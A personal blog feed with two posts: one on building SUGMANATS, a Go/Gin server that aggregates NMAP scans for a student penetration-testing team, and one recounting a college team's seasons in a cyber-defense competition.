Jekyll2024-02-08T07:12:35+00:00https://gabrielfok.us/feed.xmlgabriel fokGabriel Fokgabriel@gabrielfok.usBuilding an NMAP Aggregating Team Server with Golang Gin2023-09-19T00:00:00+00:002023-09-19T00:00:00+00:00https://gabrielfok.us/article/Creating%20an%20NMAP%20Aggregator%20with%20Golang%20Gin<h1 id="introduction">Introduction</h1>
<p>This blog post is dedicated to how and why I made SUGMANATS. If you want to set it up, read the documentation in the repository. SUGMANATS isn’t 100% polished in all facets, so please report any edge cases.</p>
<p><a class="button button--primary button--pill" target="_blank" href="https://github.com/dbaseqp/SUGMANATS">SUGMANATS Repository</a></p>
<p>SUGMANATS features:</p>
<ul>
<li>TOML configuration file</li>
<li>Operation progress dashboard</li>
<li>Live filtering</li>
<li>Dynamic tabs in Box view</li>
<li>Multiple NMAP file upload via AJAX</li>
<li>Server-side events to notify updated data</li>
<li>Data propagation for re-uploaded NMAP data</li>
<li>Markdown rendering of notes</li>
<li>Credential storage</li>
<li>Task board</li>
</ul>
<p>If you have any ideas of how to make SUGMANATS better, I’m always accepting pull requests!</p>
<h1 id="reinventing-the-wheel">Reinventing the Wheel</h1>
<h2 id="the-wheel">The Wheel</h2>
<p><a href="https://cysec.team/">CPP Cyber</a> has a long history of NMAP aggregating. Let me present to you: the SUGMANATS family tree!</p>
<pre><code class="language-mermaid">%%{init: {"flowchart": {"htmlLabels": false}} }%%
graph LR;
subgraph "2019-2021"
nvis(["nVis"]);
end
subgraph "2021-2022"
jvis(["jVis"]);
jVision(["jVision"]);
end
subgraph "2022-2023"
amungos(["AM-UNGOS"]);
end
subgraph "2023-???"
sugmanats(["SUGMANATS"]);
end
nvis-->jvis;
jvis-->jVision;
jVision-->amungos;
amungos-->sugmanats;
click nvis "https://github.com/Menn1s/nVis" _blank;
click jvis "https://github.com/neberhardt123/jvis" _blank;
click jVision "https://github.com/neberhardt123/jVision" _blank;
click amungos "https://github.com/dbaseqp/AM-UNGoS" _blank;
click sugmanats "https://github.com/dbaseqp/SUGMANATS" _blank;
</code></pre>
<h3 id="nvis">nVis</h3>
<p>In 2019, nVis was born. It was the first attempt at solve the issue of running NMAP scans on a subnet in CPTC. The issue with scanning a subnet isn’t that NMAP doesn’t support it, it’s that it’s very slow. When you run a scan with the usual verbosity tags <code class="language-plaintext highlighter-rouge">-sSVC</code> on a subnet, it may take several minutes to get results back. The solution nVis implemented was to have several client scripts run and scan different parts of the network, then send the results to a dockerized central MongoDB server to centralize all the information. This essentially allows subnet to be scanned in parallel. For the first 2 years, it was enough.</p>
<h3 id="jvis-and-jvision">jVis and jVision</h3>
<p>When I joined the CPTC team in 2021, my former CCDC teammate, <a href="https://github.com/neberhardt123">jbrick</a>, also joined. At this point, the creators of nVis had graduated, so jbrick took it upon himself to pick up the project. Unfortunately, the codebase wasn’t too great so he decided to remake it in his preferred languages/frameworks (Python w/Django). Thus, jVis was born. He continued the idea of having client scripts run and callback to a central server. Halfway through the LeBonbon Croissant season, jbrick called it quits with Django and swapped to Blazor (a C# web framework) to create a more matured jVision.</p>
<h3 id="am-ungos">AM-UNGOS</h3>
<p>When jbrick graduated at the end of the 2021-2022 season, I took up the mantle of NMAP aggregator. While jVision had some nice features, it was ultimately both slow (.NET isn’t great), difficult to maintain, and crashed during the previous year’s global finals, making it unviable. I decided to also start from scratch, but this time using a super portable language that I had just looked into (Golang). While I was a complete novice, I was able to stich together AM-UNGOS from enough tutorials while totally paying attention in my California history class. I ditched the client NMAP scanners in favor of letting users run their normal NMAP scans (e.g. <code class="language-plaintext highlighter-rouge">nmap -sSVC</code>) and upload it through the web user interface or via a generic API endpoint with <code class="language-plaintext highlighter-rouge">curl</code>. There was nearly 0 JS to keep things simple. Deployment was super simple, and using AM-UNGOS was very intuitive without needing to know how it worked.</p>
<p>At the end of globals, we received <strong><em>__extensive__</em></strong> technical feedback that really went into <strong><em>__extreme__</em></strong> detail. It was <strong><em>__so__</em></strong> long that you may have to zoom in. I’ve attached our entire feedback below.</p>
<p><img src="/assets/images/blog/sugmanats-lol.png" alt="Image" /></p>
<blockquote>
<p>The best technical feedback in the history of CPTC ever</p>
</blockquote>
<h3 id="sugmanats">SUGMANATS</h3>
<p>When I decided to start working on SUGMANATS, I was asked by my team why didn’t I just update AM-UNGOS. The name was iconic, but AM-UNGOS suffered from several problems, as it was my very first Golang project. Some of the main issues were:</p>
<ul>
<li>You couldn’t log out without manually disabling browser cache</li>
<li>Quickly not performant as boxes got added</li>
<li>Really janky, copy-pasted CSS/JS</li>
<li>Random/not thought out project structure</li>
<li>New scans overwrote old scan data</li>
</ul>
<p>The codebase was frankly terrible to work with. Now that I’ve had a year to work with and learn Golang with Gin, I was much more confident in making an extensible project for myself and for anyone who wants to continue it. With that in mind, SUGMANATS’s purpose is mainly just to write a cleaner version of AM-UNGOS, so there aren’t any substantial new features.</p>
<p>This time, instead of taking months of development, I finished SUGMANATS in about a week. I removed some features that didn’t see much use, like the API endpoint for sending scan data via <code class="language-plaintext highlighter-rouge">curl</code>. SUGMANATS uses Gin to serve both an API and a frontend using Golang HTML Templates. In true Bootstrap 5 fashion, I avoided using jQuery and opted for using vanilla JS features such as the Fetch API for AJAX and selectors like <code class="language-plaintext highlighter-rouge">document.getElementById</code> for getting elements. Also dark theme 😊.</p>
<h1 id="design-process">Design Process</h1>
<h2 id="project-structure-and-configuration">Project Structure and Configuration</h2>
<p>Below, I explain the project structure of SUGMANATS. I’m only highlighting the main parts.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SUGMANATS/
├─ assets/
│ ├─ custom.js <-- custom JS functions
│ ├─ ...
├─ models/
│ ├─ config.go <-- toml configuration struct + handling
│ ├─ nmaprun.go <-- struct for XML NMAP output
│ ├─ schema.go <-- structs for sqlite3 schema
│ ├─ utils.go <-- generic utility functions
├─ templates/
│ ├─ ...
├─ db.go <-- database functions
├─ login.go <-- login/session functions
├─ routes.go <-- routes
├─ main.go <-- main router setup/SSE setup
├─ config.conf <-- user defined configuration file
</code></pre></div></div>
<p>The router generated in <code class="language-plaintext highlighter-rouge">main.go</code> uses the routes defined in <code class="language-plaintext highlighter-rouge">routes.go</code>. There are 2 main route groups, <code class="language-plaintext highlighter-rouge">public</code> and <code class="language-plaintext highlighter-rouge">private</code>. In <code class="language-plaintext highlighter-rouge">routes.go</code>, the route is defined with the endpoint and the handling function. The handling function should return either HTML (if the endpoint is part of the UI) or JSON (if it is solely part of the API).</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">addPrivateRoutes</span><span class="p">(</span><span class="n">g</span> <span class="o">*</span><span class="n">gin</span><span class="o">.</span><span class="n">RouterGroup</span><span class="p">)</span> <span class="p">{</span>
<span class="n">g</span><span class="o">.</span><span class="n">GET</span><span class="p">(</span><span class="s">"/dashboard"</span><span class="p">,</span> <span class="n">viewDashboard</span><span class="p">)</span>
<span class="p">}</span>
<span class="o">...</span>
<span class="k">func</span> <span class="n">viewDashboard</span> <span class="p">(</span><span class="n">c</span> <span class="o">*</span><span class="n">gin</span><span class="o">.</span><span class="n">Context</span><span class="p">)</span> <span class="p">{</span>
<span class="n">boxes</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">dbGetBoxes</span><span class="p">()</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="n">c</span><span class="o">.</span><span class="n">HTML</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">StatusInternalServerError</span><span class="p">,</span> <span class="s">"dashboard.html"</span><span class="p">,</span> <span class="n">pageData</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="s">"Export Boxes"</span><span class="p">,</span> <span class="n">gin</span><span class="o">.</span><span class="n">H</span><span class="p">{</span><span class="s">"error"</span><span class="o">:</span> <span class="n">err</span><span class="p">}))</span>
<span class="k">return</span>
<span class="p">}</span>
<span class="n">pwnCount</span> <span class="o">:=</span> <span class="m">0</span>
<span class="n">usershells</span> <span class="o">:=</span> <span class="m">0</span>
<span class="n">rootshells</span> <span class="o">:=</span> <span class="m">0</span>
<span class="k">for</span> <span class="n">_</span><span class="p">,</span> <span class="n">box</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">boxes</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">box</span><span class="o">.</span><span class="n">Usershells</span> <span class="o">></span> <span class="m">0</span> <span class="o">||</span> <span class="n">box</span><span class="o">.</span><span class="n">Rootshells</span> <span class="o">></span> <span class="m">0</span> <span class="p">{</span>
<span class="n">pwnCount</span><span class="o">++</span>
<span class="n">usershells</span> <span class="o">+=</span> <span class="n">box</span><span class="o">.</span><span class="n">Usershells</span>
<span class="n">rootshells</span> <span class="o">+=</span> <span class="n">box</span><span class="o">.</span><span class="n">Rootshells</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">c</span><span class="o">.</span><span class="n">HTML</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">StatusOK</span><span class="p">,</span> <span class="s">"dashboard.html"</span><span class="p">,</span> <span class="n">pageData</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="s">"Dashboard"</span><span class="p">,</span> <span class="n">gin</span><span class="o">.</span><span class="n">H</span><span class="p">{</span><span class="s">"boxes"</span><span class="o">:</span> <span class="n">boxes</span><span class="p">,</span> <span class="s">"pwnCount"</span><span class="o">:</span> <span class="n">pwnCount</span><span class="p">,</span> <span class="s">"percent"</span><span class="o">:</span> <span class="p">(</span><span class="m">100</span><span class="o">*</span><span class="kt">float32</span><span class="p">(</span><span class="n">pwnCount</span><span class="p">)</span><span class="o">/</span><span class="kt">float32</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">boxes</span><span class="p">))),</span> <span class="s">"usershells"</span><span class="o">:</span> <span class="n">usershells</span><span class="p">,</span> <span class="s">"rootshells"</span><span class="o">:</span> <span class="n">rootshells</span><span class="p">}))</span>
<span class="p">}</span>
</code></pre></div></div>
<blockquote>
<p>Example route flow: routes.go</p>
</blockquote>
<p>Inside the handler, you write fairly straightforward code that receives or gets data that needs to be hydrated into the page. In an attempt to implement <a href="https://www.youtube.com/watch?v=J1f5b4vcxCQ">dependency injection</a>, my handler functions abstract away most of the code behind database functions defined in <code class="language-plaintext highlighter-rouge">db.go</code>.</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">dbGetBoxes</span> <span class="p">()</span> <span class="p">([]</span><span class="n">models</span><span class="o">.</span><span class="n">Box</span><span class="p">,</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
<span class="k">var</span> <span class="n">boxes</span> <span class="p">[]</span><span class="n">models</span><span class="o">.</span><span class="n">Box</span>
<span class="n">subquery</span> <span class="o">:=</span> <span class="n">db</span><span class="o">.</span><span class="n">Table</span><span class="p">(</span><span class="s">"boxes"</span><span class="p">)</span><span class="o">.</span><span class="n">Select</span><span class="p">(</span><span class="s">"id,MAX(timestamp)"</span><span class="p">)</span><span class="o">.</span><span class="n">Group</span><span class="p">(</span><span class="s">"ip"</span><span class="p">)</span>
<span class="n">result</span> <span class="o">:=</span> <span class="n">db</span><span class="o">.</span><span class="n">Table</span><span class="p">(</span><span class="s">"boxes"</span><span class="p">)</span><span class="o">.</span><span class="n">Joins</span><span class="p">(</span><span class="s">"INNER JOIN (?) as grouped on boxes.id = grouped.id"</span><span class="p">,</span> <span class="n">subquery</span><span class="p">)</span><span class="o">.</span><span class="n">Find</span><span class="p">(</span><span class="o">&</span><span class="n">boxes</span><span class="p">)</span>
<span class="k">if</span> <span class="n">result</span><span class="o">.</span><span class="n">Error</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="k">return</span> <span class="no">nil</span><span class="p">,</span> <span class="n">result</span><span class="o">.</span><span class="n">Error</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">boxes</span><span class="p">,</span> <span class="no">nil</span>
<span class="p">}</span>
</code></pre></div></div>
<blockquote>
<p>Examples routes flow: db.go</p>
</blockquote>
<p>SUGMANATS uses <a href="https://gorm.io/">GORM</a> to interact with the sqlite3 database. I had a lot of challenges understanding how to translate raw SQL into GORM statements (yes, I know <code class="language-plaintext highlighter-rouge">Raw</code> exists), but I think in the end it ended up working out. I’m not sure if there are better tutorials out there, but I just used the docs. The main things I needed to know: <code class="language-plaintext highlighter-rouge">AutoMigrate</code> builds the database based on given Golang structs, functions that accept structs (i.e. <code class="language-plaintext highlighter-rouge">Model</code>) will automatically try to match rows with the struct’s values (e.g. ID, Name, IP), and <code class="language-plaintext highlighter-rouge">Preload</code> can be used to get associated rows when the database is in second normal form (2NF). <code class="language-plaintext highlighter-rouge">Preload</code> in particular is useful if you have something like a <code class="language-plaintext highlighter-rouge">User</code> struct that can have many <code class="language-plaintext highlighter-rouge">Role</code>s. Your <code class="language-plaintext highlighter-rouge">User</code> struct can have an array of <code class="language-plaintext highlighter-rouge">Role</code>s (maybe named <code class="language-plaintext highlighter-rouge">[]Roles</code>), and when you call <code class="language-plaintext highlighter-rouge">Preload</code> while getting <code class="language-plaintext highlighter-rouge">User</code>s, <code class="language-plaintext highlighter-rouge">[]Roles</code> will be populated with the rows that were associated with the user. No secondary select required!</p>
<hr />
<p>In my opinion, TOML is the best configuration file markup language. It is very intuitive to read and write. I’ve been using TOML in a few Golang projects now, so I’ve made a very portable config file setup in <code class="language-plaintext highlighter-rouge">SUGMANATS/models/config.go</code>.</p>
<p>A configuration file is <strong><em>REQUIRED</em></strong> because that is where users are defined. I chose to do this instead of registering new accounts because operators should be pretty static. If you need to add a new user, you can just add a new user and re-run the binary.</p>
<div class="language-toml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Example configuration file</span>
<span class="py">operation</span> <span class="p">=</span> <span class="s">"RAKMS"</span>
<span class="c"># dbpath = "temp.db" # rename database file</span>
<span class="nn">[[admin]]</span>
<span class="py">name</span> <span class="p">=</span> <span class="s">"baseq"</span>
<span class="py">pw</span> <span class="p">=</span> <span class="s">"password"</span>
<span class="err">...</span>
</code></pre></div></div>
<h2 id="dashboard">Dashboard</h2>
<p>The SUGMANATS dashboard is a simple way to gauge progress on the network.</p>
<p>I considered adding more information here, but I couldn’t identify any other metrics that would be useful here. Open to suggestions.</p>
<p><img src="/assets/images/blog/sugmanats-dashboard.png" alt="Image" /></p>
<blockquote>
<p>SUGMANATS dashboard. There is a special surprise if you get a shell on every box.</p>
</blockquote>
<h2 id="boxes">Boxes</h2>
<p>The Boxes view is where the real magic happens. The button on the left side opens up the menu which shows the filter menu, upload menu, and Box list. When you open a Box from the Box list, it’ll create a tab in the center pane. This allows users to focus more on the boxes they are currently working on. Tabs can be closed as necessary, but currently don’t support rearrangement. The state is saved in the URL, which means they can be reloaded or even shared. The right-most tab is the one that will be opened by default. The notes of each box have Markdown rendering, but it’s rendered as part of the initial HTML response, so changes to notes require a refresh to view.</p>
<p><img src="/assets/images/blog/sugmanats-boxes.png" alt="Image" /></p>
<blockquote>
<p>SUGMANATS boxes</p>
</blockquote>
<h2 id="export-boxes">Export Boxes</h2>
<p>The Export Boxes view is a static view of the page. It’s main use is to have a view where all content is visible without having to open every box in a tab, as is with the default view.</p>
<p><img src="/assets/images/blog/sugmanats-exportboxes.png" alt="Image" /></p>
<blockquote>
<p>SUGMANATS boxes</p>
</blockquote>
<h2 id="credentials">Credentials</h2>
<p>The Credentials view allows users to store known username/password combinations with an associated note.</p>
<p><img src="/assets/images/blog/sugmanats-credentials.png" alt="Image" /></p>
<blockquote>
<p>SUGMANATS export boxes</p>
</blockquote>
<h2 id="tasks">Tasks</h2>
<p>The Tasks view allows users to create and assign tasks. Notes support Markdown.</p>
<p><img src="/assets/images/blog/sugmanats-tasks.png" alt="Image" /></p>
<blockquote>
<p>SUGMANATS tasks</p>
</blockquote>
<h2 id="misc">Misc</h2>
<p>The last few pages are very simple</p>
<p><img src="/assets/images/blog/sugmanats-misc.png" alt="Image" /></p>
<blockquote>
<p>SUGMANATS misc. pages</p>
</blockquote>
<p><code class="language-plaintext highlighter-rouge">Settings</code> allows users to pick their color.</p>
<p><code class="language-plaintext highlighter-rouge">About</code> just shows a dump of the configuration file.</p>Gabriel Fokgabriel@gabrielfok.usAM-UNGOS 2??? Why reinvent the wheel? Cuz I can do it better.LEGACY: 400 Days2023-05-06T00:00:00+00:002023-05-06T00:00:00+00:00https://gabrielfok.us/competition/400-Days<h1 id="introduction">Introduction</h1>
<p><img src="/assets/images/blog/400-1.jpg" alt="Image" /></p>
<p>First, I’d like to give thanks to the people that made this season happen. Massive thank you to Coach Carpenter for his guidance and support throughout the season. He’s the one who got us home from the airport after a very, very long and annoying series of flight gate changes, delays, and cancellations (a whole ordeal that’s a story for another time). I’d also like to thank the rest of the team for their hard work and dedication. A big thank you to all of the WRCCDC and NCCDC teams and staff for putting on these awesome competitions year after year. Finally, I’d like to thank the sponsors for making this competition possible.</p>
<p>I’d also like to shoutout <a href="https://sourque.com/">sourque</a> for his <a href="https://sourque.com/blog/ccdc/">CCDC writeup</a> and support. I used his writeup as a loose template for this post, and I’d highly recommend you check it out. We wouldn’t have gotten as far as we did without his help.</p>
<p>Lastly, this post is largely written as a narrative rather than a technical flyover like other posts may be. Sorry if it’s excessively long. I wanted to write this post to share my experience and perspective throughout the years, so I hope you enjoy it.</p>
<details class="details">
<summary>CCDC is a smelly cheese competition where the pompous "red team" stroke their ego on freshies and teach them to delete iptables!!!!</summary>
<p>You don't have to cheese to win in CCDC. It just often tends to be easier to do so. I encouraged our team to do things as legit as possible and avoid doing anything too cheesy, and lo-and-behold we got 2nd nationally. At the end of the day, yes, CCDC is a competition, but if you take it with the perspective of learning real best practices, you'll get so much more out of it. I don't think there's too much the competition can do to prevent people from just winning via cheese or cheating, but I hope future teams will take the same approach. Besides, winning is only a small part of the learning experience that is CCDC.</p>
</details>
<p>If you aren’t already familiar with CCDC, here’s a quick summary from their website:</p>
<blockquote>
<p>The mission of the Collegiate Cyber Defense Competition (CCDC) system is to provide institutions with an information assurance or computer security curriculum a controlled, competitive environment to assess their student’s depth of understanding and operational competency in managing the challenges inherent in protecting a corporate network infrastructure and business information systems. (via <a href="https://nccdc.org/">nccdc.org</a>)</p>
</blockquote>
<h1 id="breaking-the-streak">Breaking the Streak</h1>
<p>Before we talk about this season, I need to explain a little bit about the history of Cal Poly Pomona’s CCDC team.</p>
<details class="details">
<summary>But what if I don't care about the history</summary>
<p>That's ok. It's a personal story and shows why the past 3 years have been important to me. If you want to skip to this section, go ahead. The table of contents is on the right.</p>
</details>
<h2 id="precedent">Precedent</h2>
<p>CPP has been competing in CCDC since the second season in 2009. In the team’s second season ever, the 2010 CPP CCDC team placed 3rd in the national finals. While it wasn’t perfect, things were looking on the up and up. Unfortunately, that was the last time CPP would place in the top 3. During this drought of performance, CPP would not place in the top 3 for the next 13 years, and the CPP CCDC team hasn’t even been to nationals since 2016. The team would consistently be fighting at the top of the western region, but they would always fall short.</p>
<h2 id="2020-2021-season">2020-2021 Season</h2>
<p>My CCDC story began during the 2020-2021 season. The world was still grappling with the COVID-19 pandemic, and the WRCCDC was no exception. WRCCDC was held virtually, but I was still excited to compete. Throughout the summer, I participated in the bootcamp that the team held to pick the newest members, of which <a href="https://nosecurity.blog/">Alex</a> and I became of after successfully completing the tryout. For the next 5 months, we practiced online in study groups focused around each main role of the competition: Linux people (me), Windows people, and Everyone Else™. As the youngest member of the team, I focused on trying to soak in as much as possible, like VIM and Tmux from <a href="https://bri5ee.sh/">Brice</a>. I would do whatever was assigned to me and try not to contradict anyone because this was one of the best teams in the region, right?</p>
<p>While we tried our best, our season was cut short when we failed to make it past the western regional qualifier. This was a feat no CPP team had ever heard of.</p>
<p><img src="/assets/images/blog/400-2.png" alt="Image" /></p>
<blockquote>
<p>2020-2021 WRCCDC Qualifier Results</p>
</blockquote>
<h2 id="2021-2022-season">2021-2022 Season</h2>
<p>After the season ended, the next captain, <a href="https://tsnguyen.com/">Taylor</a>, was selected and then we said our goodbyes to those who were graduating. Heading into the 2021-2022 season, we were just 3 members strong. Usually rebuilds don’t start performing well, but we were determined to fix what we had broken last season. We recreated the summer bootcamp from scratch, and despite still being fully virtual, we managed to recruit a full team of young, promising new members. In the fall, CPP decided to open the campus back up for school, so our team was able to finally have in-person practices. The difference was night and day. We were able to get so much more done in person, and we were able to get to know each other better. We did well in our practice competitions leading up to the qualifier, but we were still such a fresh team. When Alex decided to step down from the main roster, it was only Taylor and I left who knew anything about the real competition; even then, only Taylor knew about what lied ahead. At qualifiers, it was another year where we fumbled communicating (cough cough, <em>runonce</em>, cough cough <em>databases</em>), but we managed to catch the resulting mistakes late in the competition and resolve them. The main issue our team faced was that we were missing how the red team was continuing to get access to our systems. We ran through all our checklists, but it wasn’t enough. We only managed to salvage our systems because we understood how our operating systems worked. Despite the setbacks, we managed to crawl our way into the regional finals.</p>
<p><img src="/assets/images/blog/400-3.png" alt="Image" /></p>
<blockquote>
<p>2021-2022 WRCCDC Qualifier Results</p>
</blockquote>
<p>Just over a month later, we were on our way to the regional competition. We had a few more practices, but all of us were juggling a ton of other responsibilities which made it hard to really make groundbreaking improvement. Many late nights, or early mornings depending on how you look at it, were spent developing a new plan: dockerize and migrate all services. The theory behind it is that even if the red team got RCE through our scored services, they would end up in a useless container. We got the process down to a science in our lab environment and we were confident going into the regional finals.</p>
<p>Right out of the gate, we were humbled. Our plan to dockerize every service failed miserably when we just couldn’t figure out how to get the networking to work right. Between endless domain replication issues and having to reinstall operating systems multiple times because we forgot to install the bootloader, we couldn’t catch a break. Due to all the chaos, we didn’t even realize we forgot to change the password of the router. Remember how Taylor was the only one who had been to a regionals before? Well, he was out doing inject presentations for several hours. Without any real form of leadership structure left or prior experience, we were dead last in services after the first day. We went back to the hotel and managed to figure out the competition environment, but we were all exhausted. The second day, we swung back with signs of life and climbed back all the way to 3rd in services by around noon. Our hopes were high, but the default password on our router was exploited on the second day and we paid dearly for it. Our scoreboard was a sea of red and there wasn’t anything we could do about it. No matter how hard we tried, we couldn’t get back into the competition after taking those massive losses. Heads hung low, we reverted what we had to and went through the motions we had practiced, but we knew it was futile anyways. At the end of the second day, yet again, we were dead last in services and the gap was even larger. To no one’s surprise, we were last place overall. While Alex, Taylor, and I were marginally happy that we did better than last year, we were still disappointed. We had a great team, but we just couldn’t get our act together. This would be both the last season for them and four other team members, making me the sole remaining member of my original team.</p>
<p><img src="/assets/images/blog/400-4.jpg" alt="Image" /></p>
<blockquote>
<p>2021-2022 WRCCDC Regional Results</p>
</blockquote>
<h1 id="slash-and-burn--preseason">Slash and Burn // PRESEASON</h1>
<p>Before we left the awards ceremony, Taylor announced he would pass the torch down to me, and I became the new captain of the CPP CCDC team. I was determined to learn from all the mistakes of the past and not let the team fall apart like it did year after year.</p>
<p>It was time to rebuild the team from the ground up yet again. I wanted to make sure that the new team was ready for anything that could be thrown at them. I wanted to make sure that the team was ready to win. The incumbent members got to work quick; our broken pride had lit a fire underneath us. By the very next week, the bootcamps for the summer entered their planning phase. Going into the next season, we completely cut our old ideas of how CCDC worked.</p>
<details class="details">
<summary>What did you do in the past?</summary>
<p>The approach of the first CCDC team I joined was to secure every box from the ground up. This means secure every service, config file, permission, and user on every system, because if there are no vulnerabilities, well... then there are no vulnerabilities. This means that you have to research all known vulnerabilities of all possible services for CCDC. While this approach can be very useful to learn how systems/services work, the problem with this approach is that it does not scale well unless you script out everything. Yet, in years past, the team leadership refused to publish scripts out of fear of giving other team's the game winning strategy/tool. In reality though, who could possibly use a tool/strategy better than the team that made it? And so, we decided to oust this short-sighted axiom.</p>
</details>
<p>We completely revamped the roster composition:</p>
<ol>
<li>Team Manager (Linux/Business)</li>
<li>Business Lead</li>
<li>Business (Networking)</li>
<li>Networking Lead (Windows)</li>
<li>Windows Lead</li>
<li>Linux Lead</li>
<li>Linux (Web/DB focus)</li>
<li>Linux (Linux support/threat hunting for both Linux and Windows)</li>
</ol>
<p>To scout for new members for this composition, we rebuilt the summer bootcamp from scratch <strong><em>again</em></strong>. More labs, more homework, more <em>time</em> spent on making the bootcamp content flow coherently. The whole process was made fully public and uploaded onto <a href="https://cysec.team/bootcamps/">our website</a>. Feel free to use this as inspiration for your own bootcamps. We wanted to make sure that the new members were ready to go out the gate as long as they put in the work. We had a great turnout (100+ participants), and after 8 long weeks of bootcamping, the top crop the tryouts were selected.</p>
<p>Since the cybersecurity clubs at CPP tend to share the same people (there’s only so many places passionate people can be), many of the new members of the team had already interacted before. Not having to build up team relations from 0 was definitely a boon, but it’s not like we were all “friends” just yet. It’s pretty hard to overstate how important it is for a team to mesh well together. To help everyone get to know each other, we split up the team of 12 into 3 teams of 4 to compete against each other in Hivestorm, a tradition that I picked up from my first captain.</p>
<p>Hivestorm is literally a CyberPatriot round. Nothing too special, just a basic find-and-fix competition, but it helps get new members into the competitor mindset and begin to perform under pressure. It’s only 4 fours, but it helped us get a feel for how everyone works together and using checklists. A quick W, but a journey of a thousand miles begins with a single step.</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">As captain of Team 270 (YOU JUST GOT TANAY'D) I just want to say a big thank you to my teammates from <a href="https://twitter.com/calpolyswift?ref_src=twsrc%5Etfw">@calpolyswift</a>! Our team had lots of fun. Let's see who gets TANAY'D next year 😉</p>— Altoid0 (@Altoid0day) <a href="https://twitter.com/Altoid0day/status/1581733436280053761?ref_src=twsrc%5Etfw">October 16, 2022</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<blockquote>
<p>One of CPP Cyber’s CCDC sub-teams, “YOU JUST GOT TANAY’D”, winning Hivestorm</p>
</blockquote>
<p>With the warmup behind us and 1st place secured, the WRCCDC invitational round was quickly approaching.</p>
<p>Remember how I mentioned that most of my team are involved with campus cybersecurity clubs? Well, many of us are specifically heavily involved with the cybersecurity club, <a href="https://www.calpolyswift.org/">SWIFT</a>, at CPP. We host weekly workshops, CTFs, and other events. One of the semesterly events we host is Red vs. Blue (RvB), which is more or less a CCDC-<em>inspired</em> event. How does this affect the team? Well, due to issues with our infrastructure (thanks rain), we had to reschedule SWIFT’s Fall RvB to the same day as the WRCCDC invitational. This meant that we had to split our team in half. Some of us would be competing in the invitational, and the others would be running RvB. This was a huge challenge for us, but we were determined to make both events work. We had our team members swap in and out throughout the day, and by the end of it, everyone had a shot to run through their game plans, see what worked and what didn’t, and experience what CCDC is actually like. While we were able to get 2nd in the invitationals, almost all teams were experimenting with different strategies, technologies, and rosters, so the results couldn’t be taken at face value. Still, the fruits of our labor were beginning to sprout.</p>
<p><img src="/assets/images/blog/400-4.png" alt="Image" /></p>
<blockquote>
<p>2022-2023 WRCCDC Invitational Results</p>
</blockquote>
<h1 id="the-fresh-blood--qualifiers">The Fresh Blood // QUALIFIERS</h1>
<p>After a eventful winter break, the WRCCDC competition season was finally here.</p>
<details class="details">
<summary>What happened during Winter Break?</summary>
<p>I also compete in CPTC, and the global finals took place in early January. We became back-to-back champions! You can read my teammate's writeup about that <a href="https://tranderrick1.github.io/posts/CPTC/">here</a>.</p>
</details>
<p>In the weeks leading up to the February qualifier, the OS teams focused on understanding the services that were teased by the Operations Team like Kubernetes, web applications, and mail. The networking team was developing strategies for detecting malicious traffic and blocking IPs. The business team and I were busy using previous years’ injects as inspiration for research and templates so that we could minimize the amount of novel work we had to do during the competition. I tasked one of my teammates, this year’s Linux lead and my former Linux subordinate, <a href="https://dtsec.us/">Dylan</a> to learn Kubernetes in the short time we had leading up to the competition. While he hated it for all its quirks and frustrations, he was able to get a basic understanding of it and was able to use it. Once the first month of our semester finally ended, it was time to compete.</p>
<p>We were confident for sure. Not everything was perfect, but we practiced what we wanted to and had the faith in each other that we would showcase our potential.</p>
<p>The morning of the competition finally came, and we all arrived nice and early in a meeting room of the IT department at school that we were permitted to use. The U-shape of the table space made it optimal for team organization. For our team of 8, the Linux team was on the left, the Windows and Networking was on the right, and the business team and I were in the middle. We sat at our table on Discord awaiting for the in-brief as we were all excited to get started. All our laptops were set up and we had the inject portal loaded up on our screens. The Operations Team began the very short in-brief which was really just a way to make sure everyone was ready to go and officiate the beginning of the event. The competition was only delayed a short while: our real start time ended up being 9:05AM. Once the competition began, we attempted to access our router to change the password and start applying our firewall rules, but right out of the gate we had problems. We couldn’t access the router. Well, we could ping it at first, but quickly we weren’t even able to do that. Then, we saw the scoreboard as the first 5 teams (teams 1 through 5) had all red across the board. The red team had taken down all the routers immediately via an untested script they made the night before. Due to this unfair event, our routers were reset, and we were given grace periods to recalibrate. The red team had a firm talking to about ensuring their scripts are well tested and don’t inadvertently DOS the entire environment. And so finally, we were able to actually get started.</p>
<p>The OS teams were able to focus on their systems and services, but the networking team was struggling to set up the router. For some reason, even after the reset, we were not able to access the router shortly after it was reverted. For the first 3 or so hours, we had 0 router defense. Eventually I requested a consultation as to why our router kept breaking a couple of minutes after restarting. After some kerfuffling where <a href="https://twitter.com/karinaxrivera_?s=20">Karina</a> was configuring our firewall too fast, because the operations team was getting blocked by our ingress rules (she was so fast they thought she was a script 💀), we discovered the root cause. The reason? We were whitelisting the wrong IPs for router access because the IPs we received in our email about competition environment information had a typo in it. So, even though we were typing it in as outlined to us, we were accidentally blocking ourselves from the router. Having that cleared out of the way, we were finally able to start applying our firewall rules without having to revert it constantly.</p>
